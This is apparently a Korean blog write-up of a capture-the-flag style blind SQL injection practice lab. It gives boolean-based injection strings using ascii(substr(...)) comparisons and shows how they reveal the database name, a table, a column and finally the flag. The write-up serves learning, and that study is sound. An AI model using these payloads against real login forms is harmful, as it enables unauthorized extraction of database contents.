Information Technology/write-up

SQL Injection (Blind Practice)

Brandon IT 2025. 5. 28. 15:33
320x100

SQL Injection 포인트 찾기

 

Select 문구 사용 가능한지 확인

 

공격 format

normaltic’ and (___조건___) and ‘1’=’1

 

normaltic' and (ascii(substr((select 'test'),1,1))) and '1'='1

 

 

normaltic' and (ascii(substr((select 'test'),1,1))> 116) and '1'='1

→ 존재하지 않는아이디입니다. ‘t’ 가 ascii에서 116

normaltic' and (ascii(substr((select 'test'),1,1))> 115) and '1'='1

→ 존재하는 아이디입니다.

공격 format이 올바르게 작동된다는 것을 확인 할 수 있다.

 

 

db 찾기 → blindSqli

normaltic' and (ascii(substr((select database()),1,1))> 0) and '1'='1

 

 

talbe 이름 flagTable

select table_name from information_schema.tables where table_schema=’blindSqli’ limit 0,1

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema='blindSqli' limit 0,1),1,1))> 0) and '1'='1

 

 

column 이름 idx → flag

normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name='flagTable' limit 0,1),1,1))> 0) and '1'='1

 

 

만약 flagTable 테이블에 있는 flag 컬럼을 출력하고 싶다 segfault{Congratz_firstBlindSqli}

normaltic' and (ascii(substr((select flag from flagTable limit 0,1),1,1))>0) and '1'='1

 

 

300x250